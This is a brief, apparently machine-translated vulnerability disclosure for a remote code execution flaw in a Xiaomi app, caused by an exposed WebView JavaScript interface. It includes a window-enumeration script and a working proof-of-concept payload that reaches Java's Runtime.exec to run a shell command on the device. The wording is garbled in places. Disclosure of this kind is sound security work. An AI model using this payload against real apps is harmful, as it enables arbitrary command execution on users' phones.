Mi 5app Remote Code Execution Vulnerability + vulnerability POC (can attack specified Users)

Mi 5app Remote Code Execution Vulnerability + vulnerability POC (can attack specified Users)

Mi 5app Remote Code Execution Vulnerability + vulnerability exploitation POC

 

Android Developers can use the addJavascriptInterface method in the WebView component to publish methods in JAVA to JavaScript calls. However, when JavaScript calls this method, it can reverse inject JAVA code into JAVA code for execution, since JAVA code can be executed, a remote command execution vulnerability is generated, and then you can perform anything on your mobile phone within the permission range.
 

 

#1 The Code traverses all window objects and prints them to the page.

<script type="text/javascript">for(w in window){    document.write(w + "<br/>");}</script>

 

 

#2 construct POC

<script type="text/javascript">function execute(cmdArgs){    return MILIAO.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}try{    execute(["/system/bin/sh","-c","echo 'Hello world !' > /sdcard/test.txt"]);    alert("Hello world !");}catch(e){    alert(e);}</script>

#3Hello world
 

Ipv4success using the remote code execution loopholes written into javastest.txt
 

 

 

Solution:

Enhanced verification